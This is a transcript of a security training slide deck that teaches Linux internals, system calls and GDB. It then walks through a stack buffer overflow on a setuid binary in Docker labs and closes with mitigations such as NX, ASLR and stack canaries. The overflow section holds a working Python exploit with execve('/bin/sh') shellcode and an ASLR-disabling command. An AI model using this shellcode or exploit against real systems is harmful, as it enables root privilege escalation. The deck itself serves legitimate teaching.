Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Exploitation Fundamentals - English

Exploitation Fundamentals - English

You can learn how computer works, and how vulnerabilities like buffer stack overflow are attacked. This training explains those using tools like debugger(GDB), and you can check what happens in your eyes.
Repository: https://github.com/rung/training-exploit-fundamentals

Hiroki Suezawa (@rung)

January 22, 2020
Tweet

More Decks by Hiroki Suezawa (@rung)

Other Decks in Technology

Transcript

  1. Exploitation Fundamentals
    2020 Jan 22th
    @rung - Mercari Security Team
    Translator: Jason Fernandes
    English
    Github Repository: https://github.com/rung/training-exploit-fundamentals

    View full-size slide

  2. ● Name
    ○ Hiroki Suezawa (@rung)
    ● Title
    ○ Security Engineer at Mercari, Inc.
    ○ Recently started contributing to open-source
    projects such as Sysdig Falco and gosec!
    Like working with protocols such as TLS
    ● Hobbies
    ○ Tea
    ■ Ruhuna Darjeeling 1st Flush / Nilgiri

    View full-size slide

  3. Caution
    ● Please do not abuse what you learn from this session
    ● These materials are made for software engineers interested in security and
    lower level programming
    ● These materials contain samples of C, Python, and assembly code.
    However, there is no need to have a detailed understanding of these
    languages

    View full-size slide

  4. Prepareration
    ● Docker
    ○ Tested on Mac and Linux(Ubuntu18.04, VM works too)
    ○ In order to reduce the load on the network please pull the Docker image before the session
    ● IDA Pro Free
    ○ Download: https://www.hex-rays.com/products/ida/support/download_freeware.shtml
    docker pull suezawa/exploit-example1 && docker pull suezawa/exploit-exercise1 &&
    docker pull suezawa/exploit-exercise2 && docker pull suezawa/exploit-exercise3

    View full-size slide

  5. Cheat sheet
    ● Assembly cheatsheet
    ○ NASM Intel x86 Assembly Language Cheat Sheet
    ○ * We use x64(x86-64) but basically same
    ● CPU Registers cheatsheet
    ○ Explanation slides
    ● GDB cheatsheet
    ○ Explanation slides
    ○ GDB Quick Reference
    ● ASCII code sheet
    ○ ascii (man)

    View full-size slide

  6. Introduction

    View full-size slide

  7. Introduction
    Security is fun
    ● Purpose of this session
    ○ To build a deeper understanding of how computers work through the medium of security
    ■ The fundamentals of computers haven't changed much. A good understanding of the
    lower levels, is knowledge that lasts a lifetime.
    ■ More so than security, these materials go into depth on the inner workings of
    computers
    ○ To build a deeper understanding of how application vulnerabilities are attacked
    ○ Security is fun! You can only learn how to defend by learning how to attack
    ● Who is this session for?
    ○ Software engineers interested in security and the lower levels of the stack
    ● This is a advanced session
    ○ A part of the content in this session is advanced and may be difficult to understand at first
    ■ If you will be interested, You can learn more themselves using this slide
    ■ We will work little by little to understand what occurs in Exercise 2 (Stack Buffer
    Overflow) and Exercise 3 (Advanced)
    ■ Some demos include a video to explain what is happening

    View full-size slide

  8. Introduction
    What will we do in today’s session?
    ● About the attacks we will see today
    ○ These attacks aim to take over the controls on processes to allow the execution of
    malicious code
    ● What will we do?
    ○ 1. Introduction
    ■ First, I will explain the fundamentals of how computers work. I will use a debugger to
    follow the commands executed by the computer
    ○ 2. Stack Buffer Overflow
    ■ Then we will move onto understanding the attacks themselves. We will follow along
    with what the attacks actually do.
    ○ 3. Advanced
    ■ I will explain about the attack mitigation mechanisms in place on Modern Linux
    systems
    ■ We will carry out attacks on vulnerable Go code with pre-prepared malicious code
    ● About the hands-on/demos
    ○ First, I’ll show you how it’s done

    View full-size slide

  9. Introduction
    Environment
    ● Linux x64 (64bit)
    ○ Everything we will learn in this session is about Linux systems
    ○ We will use Docker for Mac *Docker for Windows should work too but I didn’t test it
    ● Github repository for hands-on/demo environment
    ○ rung/training-exploit-fundamentals
    ○ All the commands introduced in this session will can be run on Docker
    ■ Example 1: Hello World!
    ■ Exercise 1: Function Call
    ■ Exercise 2: Stack Buffer Overflow
    ■ Exercise 3: Advanced (ROP)

    View full-size slide

  10. Introduction
    (Reference) Environment
    ● Architecture of Docker for Mac
    ○ A VM is launched on the Mac with a Linux kernel running on it
    ○ The container communicates with the Linux kernel
    Mac
    VM/Hypervisor
    Linux Kernel
    Container1 Container2
    Container3
    ...

    View full-size slide

  11. Introduction
    Types of attack
    ● Cybersecurity attack flow
    ○ Initial access→privilege escalation→discovery(recon)→lateral movement→exfiltration
    ○ Reference: MITRE ATT&CK Framework
    ○ Tools are often used to exploit known vulnerabilities (Metasploit、Exploit Kit)
    ● In this session we will abuse a Stack Buffer Overflow vulnerability, to take
    over the controls of a program and run arbitrary code
    ○ The execution of arbitrary code is carried out during all stages of the attack
    ○ What can this be used for?
    ■ Privilege escalation (covered in this session)
    ● Use Setuid to attack binary with high privilege. Obtain root.
    ■ Remote code execution (RCE)
    ● Execute code remotely. Run a shell in the server you are connecting to.
    Company / Cloud

    View full-size slide

  12. 1. Computer Systems

    View full-size slide

  13. Computer Systems
    ● For us to understand the attacks used in this session, first we need to
    understand how computers operate
    ● This will be explained in this section

    View full-size slide

  14. Computer Systems
    What OS does
    ● Computers are able to interactively communicate with people and networks through network
    adapters and input/output (I/O) devices
    ● Operation systems abstract the physical processes of each device, and provide a common
    interface for applications
    Computer
    CPU Memory
    External Device
    I/O Device Storage Device Network
    OS
    (Linux
    Kernel)
    Application
    Network Adapter A
    Storage Device A
    Storage Device B
    Keyboard
    Standard interface Device driver

    View full-size slide

  15. Computer Systems
    What OS does
    Resource Management
    ● Operating systems have schedulers and memory management functions to allow for multiple
    processes to run at the same time
    OS
    (Linux
    Kernel)
    Application Process1
    Application Process2
    Application Process3
    Application Process3
    Scheduling
    Memory Management

    View full-size slide

  16. Computer Systems
    System call (Syscall)
    Standard Interface (System call)
    ● Operating systems have common interfaces known as system calls. Kernel functions
    (generating processes, providing memory, network communications, file operations, etc.) are
    executed through the system calls of each application in the user land.
    ○ Thus, applications can be used without having to worry about process management, task
    scheduling, file systems, or the inner workings of each device.
    OS (Linux Kernel)
    Process A
    libc (standard library)
    System Call
    Hardware
    User land
    Kernel

    View full-size slide

  17. Computer Systems
    System call (Syscall)
    ● There are over 300 system calls for Linux (List)
    ○ Run new processes: fork() -> execve()
    ○ Network communications: socket() -> connect()
    ○ Load files: open() -> read()
    ● What system calls will we use for the attacks in this session?
    ○ read loading call for standard input / files / network communication, etc.
    ■ read(int fd, void *buf, size_t count);
    ● fd = file descripter
    ● *buf = pointer for where to load (memory address)
    ● count = size to be loaded
    ○ execve system call for executing files
    ■ int execve(const char *pathname, char *const argv[], char *const envp[]);
    ● *pathname = file path
    ● argv[] = options for execution
    ● envp[] = environment variables

    View full-size slide

  18. Computer Systems
    System call (Syscall) - libc
    ● The OS has a library for calling system calls
    ○ The de facto standard is Glibc (GNU Libc)
    ■ For languages that use C such as C, C++, Perl, Python, and Ruby etc. this is the
    library that is ultimately called
    ○ libc provides a wrapper function for calling system calls (man)
    ■ long syscall(long number, ...);
    ● number = system call number
    ○ Other libc examples:
    ■ Core libraries such as stdio.h (printf)、socket.h(socket), etc.
    ■ Ultimately these core libraries call a syscall function to communicate with the kernel
    ● When the system call is made it goes into kernel mode and eventually returns to user mode
    when the process finishes
    Syscall
    Process
    Return
    Kernel
    Process User Mode
    Kernel Mode

    View full-size slide

  19. Computer Systems
    [Demo] Let’s see the system call from running Hello World
    ● Code that directly calls the Syscall wrapper function
    ○ docker run --rm -it suezawa/exploit-example1 bash
    ■ Code example
    ● write system call
    ○ ssize_t write(int fd, const void *buf, size_t count);
    ■ fd = file descriptor, 1 is standard output
    ■ buf = pointer to the string
    ■ count = size of len(“Hello, world!”)
    ○ * the printf function also ultimately calls the write syscall
    #include
    int main() {
    syscall(SYS_write, 1, "Hello World!\n", 14);
    return 0;
    } SYS_write = 1 Hello World!\n\0
    (\0 is a null character)

    View full-size slide

  20. Computer Systems
    [Demo] Let’s see the system call from running Hello World
    ● Run
    ● strace: command for confirming the system call
    ○ Confirm all system calls
    ○ Confirm just the write system call
    $ docker run --rm -it suezawa/exploit-example1 bash
    root@d267406bb2b6:/home/appuser# ./hello
    Hello World!
    root@d267406bb2b6:/home/appuser# strace ./hello
    root@d267406bb2b6:/home/appuser# # strace -e trace=write ./hello
    write(1, "Hello World!\n\0", 14Hello World!
    ) = 14
    +++ exited with 0 +++

    View full-size slide

  21. Computer Systems
    [Demo] Let’s see the system call from running Hello World
    root@42fdb5c98a68:/home/appuser# strace ./hello
    execve("./hello", ["./hello"], 0x7ffd09c3a070 /* 10 vars */) = 0
    brk(NULL) = 0x1639000
    access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
    access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
    fstat(3, {st_mode=S_IFREG|0644, st_size=21467, ...}) = 0
    mmap(NULL, 21467, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f183e438000
    close(3) = 0
    access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
    read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260\34\2\0\0\0\0\0"..., 832) = 832
    fstat(3, {st_mode=S_IFREG|0755, st_size=2030544, ...}) = 0
    mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f183e436000
    mmap(NULL, 4131552, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f183de26000
    mprotect(0x7f183e00d000, 2097152, PROT_NONE) = 0
    mmap(0x7f183e20d000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7f183e20d000
    mmap(0x7f183e213000, 15072, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f183e213000
    close(3) = 0
    arch_prctl(ARCH_SET_FS, 0x7f183e4374c0) = 0
    mprotect(0x7f183e20d000, 16384, PROT_READ) = 0
    mprotect(0x600000, 4096, PROT_READ) = 0
    mprotect(0x7f183e43e000, 4096, PROT_READ) = 0
    munmap(0x7f183e438000, 21467) = 0
    write(1, "Hello World!\n\0", 14Hello World!
    ) = 14
    exit_group(0) = ?
    +++ exited with 0 +++
    root@42fdb5c98a68:/home/appuser#

    View full-size slide

  22. Computer Systems
    CPU
    ● CPU architecture
    ○ Each type of CPU architecture has its own unique instruction set
    ■ Intel x86、x64(x86-64)、ARM、RISC
    ○ For this session we will use the Intel x64 (x86-64)architecture which is the mostly
    commonly used architecture for modern servers

    View full-size slide

  23. ● Register
    ○ Internal memory device for CPU
    ○ Each register has a size of 64 bits (8 bytes)
    ● Memory addresses (we will go into more detail next)
    ○ RIP: Instruction pointer
    Points to the address of the instruction
    currently being executed
    ○ RSP: Stack pointer. Points to the top stack
    address
    ○ RBP: Base pointer. Points to the start address of
    the stack frame
    ○ Others (RAX, RBX, RCX, RDX, RSI, RDI, R8〜R15)
    ■ For now just remember these are
    addresses that store values
    Computer Systems
    CPU
    Ref: “Introduction to x64 Assembly” Intel
    Memory
    machine
    code
    010101010
    111101101
    010101010
    Address
    (Instraction Pointer
    Program Counter)
    RIP
    Memory (Stack)
    Stack for
    function1()
    Stack Pointer
    Stack for
    main()
    RSP
    RBP
    Base Pointer

    View full-size slide

  24. Computer Systems
    CPU
    ● Machine Code
    ○ The CPU executes instruction written to the memory in machine code
    ● Assembly Language
    ○ Machine code is difficult for us to work with directly, so assembly language is provided to
    make it easier for us
    ○ Assemble
    ■ Assembly code →machine code
    ○ Disassemble
    ■ Machine code→ assembly code
    Memory
    machine code
    010101010111101101
    010101010101101010
    101011011010101010
    101101010111010010
    110101010101
    Execution

    View full-size slide

  25. Computer Systems
    CPU
    ● Main Assembly Code
    ○ There are two forms of syntax (AT&T syntax and Intel syntax). Here we will use Intel syntax
    ○ Ref: NASM Intel x86 Assembly Language Cheat Sheet
    ■ For Intel x86(32bit) not x64(x86-64, 64bit) but the fundamentals of the cheat sheet are basically the
    xor A, B Carries out xor of A and B. The result is applied to A
    mov A, B Move B to A
    add/sub A, B Add or subtract A to/from B
    push/pop A Push the value of A to the stack (in memory). Pop the value from the stack
    call [memory address] Jump to another function and push the return address to the stack. *Used to call
    functions
    leave Return the stack to the same address as rbp + pop rbp (mov esp, ebp ; pop ebp)
    ret Jump to the value at the very top of the stack (rsp) + pop the value at the top of the
    stack *Used to return to the original function
    syscall Make system call

    View full-size slide

  26. Computer Systems
    [Demo] Let’s see assembly
    int main() {
    syscall(SYS_write, 1, "Hello World!\n", 14);
    return 0;
    }
    $ docker run --rm -it suezawa/exploit-example1 bash
    root@ab61fa957ebd:/home/appuser# objdump -M intel -l -S -d hello | grep -A12 ":"
    00000000004004c2 :
    main():
    4004c2: 55 push rbp
    4004c3: 48 89 e5 mov rbp,rsp
    4004c6: b9 0e 00 00 00 mov ecx,0xe
    4004cb: ba 74 05 40 00 mov edx,0x400574
    4004d0: be 01 00 00 00 mov esi,0x1
    4004d5: bf 01 00 00 00 mov edi,0x1
    4004da: b8 00 00 00 00 mov eax,0x0
    4004df: e8 fc fe ff ff call 4003e0
    4004e4: b8 00 00 00 00 mov eax,0x0
    4004e9: 5d pop rbp
    4004ea: c3 ret

    View full-size slide

  27. Computer Systems
    Executable file
    ● The format for the executable file type for Linux is ELF
    root@cbe820491a8f:/home/appuser# file hello.s
    hello.s: assembler source, ASCII text
    root@cbe820491a8f:/home/appuser# file hello.o
    hello.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), with debug_info, not stripped
    root@cbe820491a8f:/home/appuser# file hello
    hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for
    GNU/Linux 2.6.32, not stripped
    Assembly Code
    .main
    push rbp
    mov rbp, rsp
    mov ecx, 14
    mov esi, 1
    ….
    Assemble
    Source Code
    #include
    int main() {
    syscall(SYS_write, 1,
    "Hello World!\n", 14);
    return 0;
    }
    Compile
    Object file
    Machine code
    01010101001010111010
    1100101010101010010
    ELF file
    (Executable)
    Link
    Machine code
    01010101001010111010
    1100101010101010010
    Memory Info
    library info
    gcc -v -c hello.s -o hello.o
    Assembler: as (gcc is wrapper)
    gcc -v hello.o -o hello
    Linker: ld (gcc is wrapper)
    gcc -v -S hello.c -masm=intel -o hello.s
    C Compiler: cc1
    ● Compilation flow

    View full-size slide

  28. Computer Systems
    Executable file
    ● Dynamic Link and Static Link
    ○ Dynamic Link
    ■ Shared Library is stored as a separate file and loaded on
    execution.
    ■ Can display linked libraries with the ldd command
    ○ Static Link
    ■ Share library execution code is included in the same
    execution file
    ELF file
    (Executable)
    Machine code
    01010101001010111010
    1100101010101010010
    Memory Info
    library info
    libc.so
    root@86be50368e20:/home/appuser# ldd hello
    linux-vdso.so.1 (0x00007ffdbc983000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff9c6614000)
    /lib64/ld-linux-x86-64.so.2 (0x00007ff9c6a05000)
    root@1e862b573a86:/home/appuser# ldd static_hello
    not a dynamic executable
    ELF file
    (Executable)
    Machine code (main)
    01010101001010111010
    1100101010101010010
    Memory Info
    Machine code (libc)
    01010101001010111010
    1100101010101010010
    Dynamic Link
    Static Link

    View full-size slide

  29. Computer Systems
    Program Execution
    ● Program execution
    ○ execve("./hello", ["./hello"], 0x7ffdaccda970)
    ● Loader
    ○ The Linux kernel expands the
    executable file in memory
    ○ x64 Machine Code is executed from the
    very start
    ■ Even if the executable is
    dynamically linked, the shared
    library content will be loaded into
    the same virtual memory space
    on execution
    Linux
    Kernel
    ELF executable
    Load
    0xffffffffffffffff
    0x00
    Virtual Memory
    Machine Code(.text Segment)
    .rodata Segment
    .bss Segment
    Heap segment ↓
    Stack Segment ↑
    main() 0101010101
    libc 010010011010100101
    .data Segment
    * Only major segments included

    View full-size slide

  30. Computer Systems
    Physical Memory/Virtual Memory
    ● Virtual Memory
    ○ The CPU uses a mechanism known as virtual memory
    ○ Processes do not use physical addresses, instead they only use virtual memory
    ■ Multiple processes can use the same memory address
    ○ The kernel managed the page table, and handles the allocation of virtual addresses and
    physical addresses
    ○ The CPU has a mechanism for converting between virtual and physical memory (MMU)
    Linux
    Kernel
    Virtual Memory Physical Memory
    0-100 700-800
    100-200 200-300
    200-300 400-500
    Page table
    Process A Process B Process C
    Manage

    View full-size slide

  31. Computer Systems
    Physical Memory/Virtual Memory
    Process B
    RIP (instruction pointer) RIP (instruction pointer)
    *GDB is used to check the memory
    Virtual memory is use so even if it is a different process it can use the same memory address
    RIP(the command being currently run) shows the same address *even though the address is the same the content is different
    Process A

    View full-size slide

  32. Computer Systems
    Memory Layout
    Machine Code(.text Segment)
    .rodata Segment
    .bss Segment
    Heap segment ↓
    Stack Segment ↑
    0xffffffffffffffff
    0x00
    main() 0101010101
    libc 010010011010100101
    Contains the machine code executed by the CPU.
    Address for instruction executed in the RIP(Instruction
    Pointer) register.
    Stack address. Extends from high address to low address.
    See the next page for details.
    For this demo we will mainly use the ‘text’ segment and ‘stack’ segment
    dynamic address assigned using malloc()
    static variables with no initial value / address for global variables
    static variables with initialized values / global variables
    * Only major segments included
    Ref: Data Segment (Wikipedia)
    .data Segment
    const, string

    View full-size slide

  33. Computer Systems
    [Exercise] What we will do
    ● In Exercise 1 we will simply observe what happens when a function is
    executed, and not carry out any kind of attack.
    ○ Learning Objective: the stack frame is filled in with each function call. At the end functions
    are returned to their original function with the ret instruction.
    ○ If you can understand what is happening in Exercise 1, you will be able to understand the
    explanation of the attack we will demo in the next section
    ● Code used
    ○ func_call.c
    ■ main()
    ● function1()
    ○ function2() (this is the order functions are called)
    # ./func_call
    Hello
    function1: arg1:Hello,arg2:1,var1:10
    function2: arg1:Hello,arg2:2,var1:test,var2:20

    View full-size slide

  34. Computer Systems
    [Exercise] Stack Frame
    ● Function call - case of function1()
    ○ Use main() to call *function1 command
    ■ Functions argument is handed to arg6 through
    the register
    ○ When the call instruction is called, the address that
    is return is stored in the stack
    ○ The RBP value is stored in the stack (push rbp)
    The top address of the stack is input into RBP (mov
    rbp, rsp)
    ○ As it is a local variable is covered the whole stack
    address (sub rsp, 0x20)
    ● Function ends - function1()
    ○ Returns the stack address (leave)
    ○ Returns to the original address(ret)
    ■ ret == pop rip
    Stack Segment ↑
    High Address
    Virtual Memory
    Low Address
    Return Address
    Local Variables
    main()
    Return Address
    Local Variables
    function1()
    Ref: System V AMD64 ABI
    Saved RBP
    Saved RBP (main())
    function(arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8);
    RDI RSI RDX RCX R8 R9 Use stack
    RSP
    RBP

    View full-size slide

  35. Computer Systems
    [Exercise] Demo
    ● Demo
    ○ Learning Objective: the stack frame is filled in with each function call. At the end functions
    are returned to their original function with the ret instruction.
    ● What I will do
    ○ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise1
    ○ docker run --rm --privileged -it suezawa/exploit-exercise1 /bin/bash

    View full-size slide

  36. Computer Systems
    [Exercise] Demo
    ● func_call.c
    #include
    #include
    void function2(char *arg1, int arg2) {
    char var1[5];
    strcpy(var1, "test");
    int var2 = 20;
    printf(" function2: arg1:%s,arg2:%d,var1:%s,var2:%d\n", arg1, arg2, var1, var2);
    return;
    }
    void function1(char *arg1, int arg2) {
    int var1 = 10;
    printf(" function1: arg1:%s,arg2:%d,var1:%d\n", arg1, arg2, var1);
    function2(arg1, 2);
    return;
    }
    int main() {
    printf("%s", "Hello\n");
    function1("Hello", 1);
    return 0;
    }

    View full-size slide

  37. Computer Systems
    GDB Tutorial
    ● GDB (GDB Quick Reference)
    Register
    Machine Code
    Disassemble
    Value in the stack
    (RSP)
    Source code (Exercise 1 only)
    ※Displayed if debug information is
    start Set a breakpoint in main()
    and run
    run (r) Run executable
    continue (c) Continue with execution.
    Will stop if there is a
    breakpoint.
    break(b) * Set breakpoint
    nexti (ni) Continue with one
    instruction. Will not jump
    to another function with
    the call command
    stepi (si) Continue with one
    Runtime
    gdb Run GDB
    GDB内

    View full-size slide

  38. Computer Systems
    [Exercise] Demo
    Link
    GDB with Stack Layout Image

    View full-size slide

  39. Computer Systems
    [Exercise] Following a function call
    ● What to do
    ○ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise1
    ○ docker run --rm --privileged -it suezawa/exploit-exercise1 /bin/bash
    ● Try out GDB commands while thinking about how virtual memory works
    ○ 1. Execute the prepared automation script
    ■ gdb func_call -x gdb-autocommand
    ○ 2. Execute GDB manually
    ■ gdb func_call

    View full-size slide

  40. 2. Stack Buffer Overflow

    View full-size slide

  41. Stack Buffer Overflow
    Demo
    ● Now onto the attack demo
    ○ There is no need to fully understand what is happening at this stage
    ● How to carry out the attack
    ○ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise2
    ○ docker run --rm --privileged -it suezawa/exploit-exercise2 /bin/bash
    ● Attack Type
    ○ An attack that exploits a Stack Buffer Overflow vulnerability
    ○ Takes over the controls of the bof binary set by setuid, to escalate privilege from regular
    user to root, and execute a shell
    ■ setuid: executed with binary owner privilege
    # ls -l bof
    -rwsr-sr-x 1 root root 8248 Jan 7 16:44 bof
    # (setuid)

    View full-size slide

  42. Stack Buffer Overflow
    Demo - Attacking using exploit_print.py
    Link

    View full-size slide

  43. Stack Buffer Overflow
    What is Stack Buffer Overflow
    ● Why is there a vulnerability?
    ○ Functions gets, strcpy, and scanf in C
    ■ Write directly to memory without confirming
    how many bytes
    ■ Writes the user’s input beyond the space
    allowed for local variables to be stored
    ■ At the end of the function the return address
    returned by the ret instruction can be
    overwritten
    ● → Program controls (RIP) are taken over
    Stack Segment ↑
    High Address
    Virtual Memory
    Low Address
    Return Address
    Local Variables
    char buf[100] (100byte)
    Saved RBP
    main()
    gets(), strcpy(), scanf()
    Write 200byte
    Payload
    (Shellcode)

    View full-size slide

  44. Stack Buffer Overflow
    How to attack
    ● Attack Code
    ○ A buf array with only 100 bytes, is able to take in a huge number of strings
    ■ gets(buf) = standard input is stored in a buf array
    ● Check to see what happens when we enter a huge number of strings
    ○ → Controls taken over through inputting attack code into the return address
    #include
    int main()
    {
    char buf[100];
    setlinebuf(stdout);
    printf("buf = %p\n", buf);
    gets(buf);
    puts(buf);
    return 0;
    }
    # python -c "print ('A'*200)" | ./bof
    buf = 0x7fffffffe610
    AAAAAAAAAAAAAAAA…..
    Segmentation fault
    root@b1df66264e7e:/home/appuser#

    View full-size slide

  45. Stack Buffer Overflow
    How to attack
    ● How to attack
    ○ Standard input through gets(buf) to load
    and send the malicious code
    ○ return pointer is sent to the malicious
    code
    ■ In order to make the attack simpler
    in this example we display the buf
    address
    Stack Segment ↑
    High Address
    Low Address
    Return Address
    Local Variables
    char buf[100] (100byte)
    Shellcode (Payload) in
    Machine Code
    AAAAAAAAAAAAAAAAAA
    Shellcode Address
    $ ./bof
    buf = 0x7fffffffe610

    View full-size slide

  46. Stack Buffer Overflow
    Exploit
    #!/usr/bin/python
    import ...
    # Write value of 'buf = '
    buf_addr = int(sys.argv[1], 16)
    # offset from buf: 120
    # shellcode = 60 byte
    # dummy = 60 byte('A')
    shellcode =
    '\x48\x31\xc0\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x49\x89\xe0\x48\x31\xc0\x48\xc7\xc0\x2d\x70\x00\x00\x50\x49\x89\xe1\x4
    8\x31\xc0\x50\x41\x51\x41\x50\x49\x89\xe2\x48\xc7\xc0\x3b\x00\x00\x00\x4c\x89\xc7\x4c\x89\xd6\x48\x31\xd2\x0f\x05'
    shellcode += 'A' * 60
    # return address
    shellcode += struct.pack('print(shellcode)
    sys.stdout.flush()
    # if len(sys.argv) == 2 and sys.argv[1] == "printonly":... (skip)
    while True:
    print(sys.stdin.readline())
    sys.stdout.flush()
    exploit_print.py
    Adjust stack
    Overwrite Return pointer
    struct.pack(‘Shellcode

    View full-size slide

  47. Stack Buffer Overflow
    Shellcode
    ● Attack code (source code used today)
    ○ This is often used to call shell(/bin/sh) so is known as “Shellcode”
    ● What are we trying to achieve with Shellcode?
    ○ Call syscall(SYS_execve, “/bin/sh”, [“/bin/sh”, “-p”], 0)
    ■ By making this call ‘bof’ which is the subject of our attack is converted into/bin/sh
    ○ How to make a Syscall
    ■ Set the Syscall number and argument in the register, call the ”syscall” instruction
    ■ Ref: Interfacing_with_Linux
    ○ The ‘syscall’ instruction is called as shown below
    rax rdi rsi rdx
    59
    (SYS_execve)
    “/bin/sh”
    (pointer)
    [“/bin/sh”, “-p”]
    (pointer)
    0
    (NULL)

    View full-size slide

  48. Stack Buffer Overflow
    Shellcode
    ● State of the stack / register when
    syscall is called
    rax rdi rsi rdx
    59 (0x3b)
    (SYS_execve)
    “/bin/sh”
    (pointer)
    [“/bin/sh”, “-p”]
    (pointer)
    0
    (NULL)
    Registers
    Stack
    pointer of “/bin/sh”
    pointer of “-p”
    null pointer (\0\0\0\0\0\0\0\0)
    array
    ‘-p\0\0\0\0\0\0’
    ‘/bin/sh\0’
    64bit

    View full-size slide

  49. Stack Buffer Overflow
    Exercise - GDB Demo
    Link

    View full-size slide

  50. Stack Buffer Overflow
    Exercise
    ● Hands-on
    ○ Try it yourself using the materials below. Make sure to disable ASLR first
    ■ I will explain about ASLR in the next section
    ○ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise2
    ● Understanding with GDB (check out the video coming up)
    ○ gdb bof -x gdb-autocommand
    ○ Pay attention to the following:
    ■ After the return pointer is overwritten, controls move the the attack code with the
    return instruction
    ■ The syscall instruction(execve system call) is called by the malicious code
    ● Warning: make sure to renable ASLR when you are done
    ○ It is part of the kernel config and will affect other docker images you have running
    # sysctl -w kernel.randomize_va_space=2
    kernel.randomize_va_space = 2
    # sysctl -w kernel.randomize_va_space=0
    kernel.randomize_va_space = 0

    View full-size slide

  51. Advanced
    Overview
    ● Section 3: Advanced
    ○ Introduction of methods to mitigate the vulnerability and some attack methods that bypass
    this mitigation
    ● Mechanisms to prevent the execution of arbitrary code
    ○ Modern Linux and compilers have technology in place to mitigate these kinds of attacks
    ○ Improvements were made through a sort of cat and mouse game between attack and
    defense
    ○ * for the Stack Buffer Overflow demo we used a binary with all these mitigation methods
    disabled
    ● History
    ○ OS / compiler
    ■ Early 2000’s - Mitigation development and proliferation (introduced in this section)
    ● ASLR, SSP, NX bit, etc...
    ● Proliferated to OS and executable files
    ● Attach researchers and attackers developed attack methods aimed at weak
    points in these mitigation technologies

    View full-size slide

  52. Advanced
    Mitigation
    ● Main mitigation technologies (details on the next page)
    ○ NX bit (DEP): limits segments that can be executed
    ○ ASLR (Address Space Layout Randomization): randomizes memory addresses
    ○ PIE (Position-Independent Code): randomizes memory addresses of executable code
    ○ SSP (Stack Smashing Protection, Stack Canary): detects overwrite of return pointer
    ○ Other examples of protection measures (we won’t go into detail today)
    ■ RELRO (RELocation Read-Only): makes memory read-only
    ■ FORTIFY_SOURCE: replaces dangerous functions with other functions, and
    dynamically checks for memory destruction
    ● A tool for checking if these technologies are enabled or not
    ○ checksec (explanation)
    # checksec --file a.out
    RELRO STACK CANARY NX PIE .... FILE
    Full RELRO Canary found NX enabled PIE enabled .... a.out

    View full-size slide

  53. Advanced
    NX bit(No eXecute bit) / DEP
    ● NX bit / DEP
    ○ Enable or disable during compilation
    ○ ON is the default for GCC
    ○ Can only execute code in that specific address
    ● Recap: “2. Stack Buffer Overflow Attack”
    ○ If NX bit is enable the shell code cannot be
    placed in the stack address
    0xffffffffffffffff
    0x00
    Virtual Memory
    Machine Code(.text Segment)
    .rodata Segment
    .bss Segment
    Heap segment ↓
    Stack Segment ↑
    main() 0101010101
    libc 010010011010100101
    .data Segment
    * Only major segments included
    No
    Execute
    Execute

    View full-size slide

  54. Advanced
    ASLR (Address Space Layout Randomization)
    ● ASLR (Address Space Layout
    Randomization)
    ○ Set on the OS. Set on by default on modern
    machines.
    ○ Stack address is randomized
    ○ Heap address (malloc) is randomized
    ○ Address of libraries linked through Dynamic
    Link randomized (libc, etc.)
    ○ Address of executable code and statically
    linked code contained in ELF files is not
    randomized
    ● PIE (Position-independent code)
    ○ Address of code including executable code
    contained in ELF files is randomized
    0xffffffffffffffff
    0x00
    Virtual Memory
    Machine Code(.text Segment)
    .rodata Segment
    .bss Segment
    Heap segment ↓
    Stack Segment ↑
    main() 0101010101
    libc 010010011010100101
    .data Segment
    * Only major segments included
    randomize

    View full-size slide

  55. Advanced
    SSP (Stack Smashing Protection, Stack Canary)
    ● SSP, Stack Canary
    ○ Enable or disable on compiling
    ○ Default is on for GCC
    ○ A random canary is placed above the
    return address and checked before the ret
    instruction to prevent stack buffer
    overflow
    Stack Segment ↑
    High Address
    Virtual Memory
    Low Address
    Return Address
    Local Variables
    main()
    Return Address
    Local Variables
    function1()
    Saved RBP
    Saved RBP (main())
    Stack Canary
    Stack Canary

    View full-size slide

  56. Advanced
    C
    ● Default protection mechanism when compiling with gcc on Ubuntu18.04
    ○ ASLR is enabled by default (configured on the OS side only)
    ○ On modern machines it is a protection mechanism implemented on both the OS and
    compiler side making it difficult to pull off simple attacks that abuse stack buffer overflow
    ■ * There is a countermeasure for each protection mechanism
    # checksec --file a.out
    RELRO STACK CANARY NX PIE .... FILE
    Full RELRO Canary found NX enabled PIE enabled .... hello
    a.out

    View full-size slide

  57. Advanced
    Go
    ● Approach with Go
    ○ Doesn’t use libc
    ■ The assembly code which calls the system calls is implemented into a go library =
    reimplementation of the features held by libc
    ○ Static Link: single binary so not dependent on shared libraries
    ○ Security
    ■ Checks are carried out on the memory boundary, so you cannot use a stack buffer
    overflow etc. to break the memory
    ● Confirming protection measures
    ○ As memory cannot be altered, Stack Smashing Protection(Stack Canary),
    PIE(randomization of executable code addresses), etc. are disabled
    $ bin/checksec --file hello
    RELRO STACK CANARY NX PIE .... FILE
